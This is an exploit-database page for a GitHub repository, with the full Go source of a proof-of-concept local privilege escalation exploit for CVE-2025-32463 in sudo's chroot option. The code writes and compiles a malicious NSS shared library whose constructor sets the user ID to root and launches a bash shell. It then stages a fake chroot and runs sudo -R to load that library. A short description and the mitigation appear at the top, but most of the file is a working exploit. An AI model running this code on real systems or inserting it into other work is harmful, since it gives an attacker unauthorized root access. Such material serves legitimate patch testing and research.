Exploit database

GH-b03b011ab1fad8e2e81385526c8fb869

1xpwn/cve-2025-32463

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-32463

52 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files1
1xpwn/cve-2025-32463Revision 652ea8bd22e0

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/cve.go

Go · 3,333 bytes
package src

import (
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
)

// AboutCVE returns details about CVE-2025-32463.
func AboutCVE() string {
	return `CVE-2025-32463
Description: A critical vulnerability (CVSS 9.3) in sudo versions 1.9.14 to 1.9.17, allowing local privilege escalation to root via the --chroot (-R) option.
Impact: Local users can gain root access by exploiting a flaw in the chroot handling, loading a malicious shared library.
Mitigation: Upgrade to sudo 1.9.17p1 or higher, or disable --chroot in /etc/sudoers.
References:
- https://nvd.nist.gov/vuln/detail/CVE-2025-32463
- https://www.sudo.ws/security/advisories/chroot_bug/
- https://github.com/kh4sh3i/CVE-2025-32463`
}

// RunExploit executes the CVE-2025-32463 exploit.
func RunExploit(silent bool) error {
	// Create temporary directory
	stage, err := os.MkdirTemp("/tmp", "sudowoot.stage.")
	if err != nil {
		return fmt.Errorf("failed to create temp dir: %v", err)
	}
	defer os.RemoveAll(stage)
	if !silent {
		fmt.Printf("Debug: Created temporary directory: %s\n", stage)
	}

	// Change to that directory
	if err := os.Chdir(stage); err != nil {
		return fmt.Errorf("failed to chdir to temp dir: %v", err)
	}
	if !silent {
		fmt.Println("Debug: Changed to temporary directory")
	}

	// Write C code to file
	cFile := filepath.Join(stage, "woot1337.c")
	cCode := `#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
	setreuid(0,0);
	setregid(0,0);
	chdir("/");
	execl("/bin/bash", "/bin/bash", NULL);
}
`
	if err := os.WriteFile(cFile, []byte(cCode), 0644); err != nil {
		return fmt.Errorf("failed to write C file: %v", err)
	}
	if !silent {
		fmt.Println("Debug: Created woot1337.c")
	}

	// Create required directories
	if err := os.MkdirAll("woot/etc", 0755); err != nil {
		return fmt.Errorf("failed to create woot/etc: %v", err)
	}
	if err := os.MkdirAll("libnss_", 0755); err != nil {
		return fmt.Errorf("failed to create libnss_: %v", err)
	}
	if !silent {
		fmt.Println("Debug: Created chroot directories (woot/etc, libnss_)")
	}

	// Write nsswitch.conf
	nssConf := "passwd: /woot1337\n"
	if err := os.WriteFile("woot/etc/nsswitch.conf", []byte(nssConf), 0644); err != nil {
		return fmt.Errorf("failed to write nsswitch.conf: %v", err)
	}
	if !silent {
		fmt.Println("Debug: Created nsswitch.conf")
	}

	// Copy /etc/group
	groupSrc := "/etc/group"
	groupDst := "woot/etc/group"
	if output, err := exec.Command("cp", groupSrc, groupDst).CombinedOutput(); err != nil {
		return fmt.Errorf("failed to copy /etc/group: %v, output: %s", err, output)
	}
	if !silent {
		fmt.Println("Debug: Copied /etc/group to woot/etc")
	}

	// Compile shared object
	cmd := exec.Command("gcc", "-shared", "-fPIC", "-Wl,-init,woot", "-o", "libnss_/woot1337.so.2", "woot1337.c")
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	if err := cmd.Run(); err != nil {
		return fmt.Errorf("failed to compile shared object: %v", err)
	}
	if !silent {
		fmt.Println("Debug: Compiled libnss_/woot1337.so.2")
	}

	// Print "woot!"
	if !silent {
		fmt.Println("woot!")
	}

	// Run sudo with specified -R directory
	cmd = exec.Command("sudo", "-R", "woot", "woot")
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	cmd.Stdin = os.Stdin
	if err := cmd.Run(); err != nil {
		return fmt.Errorf("failed to run exploit: %v", err)
	}
	return nil
}